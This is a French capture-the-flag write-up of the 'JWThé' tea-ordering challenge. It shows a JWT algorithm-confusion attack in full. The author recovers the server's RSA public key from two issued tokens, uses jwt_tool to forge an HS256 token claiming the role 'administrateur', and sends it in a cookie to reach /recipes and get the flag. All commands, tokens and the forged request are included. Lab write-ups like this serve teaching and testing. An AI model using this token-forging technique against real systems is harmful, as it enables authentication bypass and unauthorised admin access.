Sur https://jwthe.ctf.bzh, on est face à un site web où l’on peut commander du thé.

Voici la charge utile JSON envoyée dans la requête lors d’une commande.

{"firstname":"toto","drink":"8","size":"M","toppings":"Macha","note":"sans sucre"}

Le serveur nous renvoie un JWT. Voyons voir ce qu’il a dans le ventre à l’aide de jwt_tool.

$ jwt-tool eyJhbGciOi...
...
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "RS256"
[+] typ = "JWT"

Token payload values:
[+] firstname = "gwendal"
[+] drink = "7"
[+] size = "M"
[+] toppings = "Macha"
[+] note = "sans sucre"
[+] role = "client"
[+] iat = 1679096627    ==> TIMESTAMP = 2023-03-18 00:43:47 (UTC)
...

Toutes les valeurs sont réfléchies en fonction de notre saisie précédente à l’exception de role.

Maintenant si l’on redonne un petit coup de fuff, on identifie la page /recipes qui nous renvoie un beau message Vous n’êtes pas administrateur !.

Qu’à cela ne tienne ! Notre objectif est assez évident : modifier le rôle de client à administrateur et contourner la signature JWT afin que le jeton soit accepté par le serveur.

On pourrait essayer des tas d’attaques cependant nous avons une piste. Habituellement, on rencontre souvent l’algorithme HS256 (HMAC avec SHA-256, hash + clé). Or ici, nous avons l’algorithme RS256 (Signature RSA avec SHA-256, clé publique / clé privée).

Nous allons donc tenter une attaque par confusion de clé.

Ok c’est bien beau, mais on n’a pas de clés pour le moment.

Cependant, on peut créer autant de JWT que nous souhaitons en remplissant le formulaire avec des valeurs différentes.
Pour ce faire, le script JWT-Key-Recovery va donc nous permettre d’extraire la clé publique du serveur à partir de deux jetons.

$ ./recover.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJnd2VuZGFsIiwiZHJpbmsiOiI3Iiwic2l6ZSI6Ik0iLCJ0b3BwaW5ncyI6Ik1hY2hhIiwibm90ZSI6InNhbnMgc3VjcmUiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc5MDk2NTk1fQ.VEMZBmDbvCMHwrQNFH8N0cGhwUPGgun9E56qk6OrSSJ6Zal4DlzXCO6lpezHyQPL7TzVkqB3mXxUJmyTj0kwZpaRqyMgO6kR2k6ZRD_Q8SpdBrzhudq0j9_gEYc-7FPDzvPsVZlbJnjFgsqvdd_e5HjtCrWuZ7WBFRbRpcKpBJTROL7FEuHtiYF0CZ8UsxdGLy9cRszi2muY8AgLyRfA5HzKriHuPePrl2QBE8rCZWc8I61p1ZMJUksXHSoHXDqrL-aOd-F8ThwDV5D9Jk47YxUmJjXEJCaiWSvLRtkMa61fyrQ2g65e1cFEPmq4jyUkKt0fkD62rS4XpLCHA3W8iA eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJ0b3RvIiwiZHJpbmsiOiI4Iiwic2l6ZSI6Ik0iLCJ0b3BwaW5ncyI6Ik1hY2hhIiwibm90ZSI6InNhbnMgc3VjcmUiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc5MDk3MjgyfQ.VO3wq0FtLydgPdPL_nsGdYCXXTranBDZ4gPn1tKoyMOqnXTYmRCFtaE2nVq_WMpQoQy4o17TkaHtqkkbIRWmgqrcby0WphkMBrlsxaBArD8hx4zn8SKMUPtrYz_6H_-JFMRTvcFOdN8If0V6G_O7tSQtM9G_nst-7WNrpKx_EfpDqOfCP07yFxjn6uEpDYQ2I8s-3-5cT2jDC0HMCwkNWEFl4piOxaixqwGrx_yVp3Sk9OnyNUJlerbwvuvHeLAbnNBBvPIT3XsxxcEXQ1ir3b22UG7YQcRQku_UwaN_nkN5Bau-9aeC2kfAVBVUu2ufoZzZtsB8LymrOuMuQpUkcg
Recovering public key for algorithm RS256...
Found public RSA key !
n=19967805534755979740808202840298403682000222220805226608898965198670401527751894956072016998241291510368582708907000427968797740920905724324815736329349153195567500466024486288376737680970974505995527103423521163786114820829347993605322802805920528129962256818164984104567228301793882018316240792946670861588108348128131806244814197868727410539544944172172612860053673936477967088340052687402789611745707353214502101654420401012819393352697025259891070761405956852608314609597343872795965888923494845458355516762228579372704188413640238943232163277132377751480804603465467525656285472818626899685585372486522359288577
e=65537
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnizszblWGhK15Xgk45hh
YedL9R/1UGkG3uywq7EUc+wi7CP2lFMIXKxutC9XvPaYxYnkZaBoeTyU6JGNvZ5d
mLKSYBSZX7D4b6vp/XzSxLJGTMm6a0j97dAUv+pbDj3qdYKAFYegFR1vB+rLUSEC
AjmdKjFqEp5clGifasV7yD3D2y1nChK+bsTv56wzB9W8WqXAumx5K6E0Q7A1FKoI
ni7VHlv+TtJgyK5Qi8M6LDdme2dpC8WhvlaKQcvS2izo8sObmdYE5PsEjvnxrFkZ
4zLWY33GiHwANxRUtlJnl6v1BlAp6lBpxwSKSUM/1sts0OyIP1PosiaF706vKXyT
AQIDAQAB
-----END PUBLIC KEY-----

Afin de forger un nouveau jeton avec la role=administrateur nous allons de nouveau utiliser jwt_tool, ainsi que re-signer le jeton avec la clé publique afin de créer la potentielle confusion de clé.

Pour je ne sais qu’elle raison obscure, lorsque j’utilisais le mode interactif pour modifier le rôle avec l’option -T (--tamper), jwt_tool n’était pas très enclin à coopérer et ma modification n’était pas réfléchie dans le jeton de sortie. Ne me laissant pas abattre, j’ai décidé d’utiliser l’alternative 100% en ligne de commande avec l’option -I (--injectclaims) et ces deux satellites -pc (PAYLOADCLAIM) et -pv (PAYLOADVALUE). Bien sûr, on n’oublie pas de spécifier le mode d’attaque -X k pour sélectionne l’attaque par confusion de clé et la clé publique nécessaire (-pk).

$ jwt-tool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJnd2VuZGFsIiwiZHJpbmsiOiI3Iiwic2l6ZSI6Ik0iLCJ0b3BwaW5ncyI6Ik1hY2hhIiwibm90ZSI6InNhbnMgc3VjcmUiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc5MDk2NjI3fQ.BefrciSm8RK8thUxKw31n781UN01gnrds2hsaxSSyU8Xd6D2Am25gaupBd4CKA83UvkUdsxChn_a4epJ6GKbV1iSUFnvH0bFmGzqcYP3lel6GqLRVev9ODAqzplz58F5LlP4n52fnP5t4XrAq3LKMHbaG7SYXRjdL0qTHRfkAtkLCAZJK8lruQPC3hEd-0Y50FzsxFevzdVhyk8rOwST2xmiqDpD-WmwJiuVGstA3N39feH-7uXY6SVR3Cmzvsj8Jkr5xY1QGR3Qk8QqIyOiJMnd7HAngQ8CRrFWhrAK2m882JiukJkWWoIQ9z8Nz_6hH3_tnhvPG0jRT3LL-bZjSQ -X k -pk $(pwd)/public.key -I -pc role -pv administrateur
...

On obtient ainsi un jeton que l’on peut directement utiliser sur la page /recipes.

GET /recipes HTTP/1.1
Host: jwthe.ctf.bzh
Cookie: load-balancer-session-ne-pas-supprimer=464f3046be0cc330; session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJnd2VuZGFsIiwiZHJpbmsiOiI3Iiwic2l6ZSI6Ik0iLCJ0b3BwaW5ncyI6Ik1hY2hhIiwibm90ZSI6InNhbnMgc3VjcmUiLCJyb2xlIjoiYWRtaW5pc3RyYXRldXIiLCJpYXQiOjE2NzkwOTY2Mjd9.8fTDPGOJ4IsRXsM4cZurvr0TUm1uF6BHmptGcgUGuVo
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

On y obtient un message de félicitation ainsi que le flag : Bravo, voici les recettes: BZHCTF{JWThé_à_la_menthe}.

Note de flexage : j’ai été étonné de verser le premier sang sur ce challenge pourtant facile alors qu’il était disponible depuis un bon moment.

Solution de l’auteur du challenge.

À propos de l’auteur

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.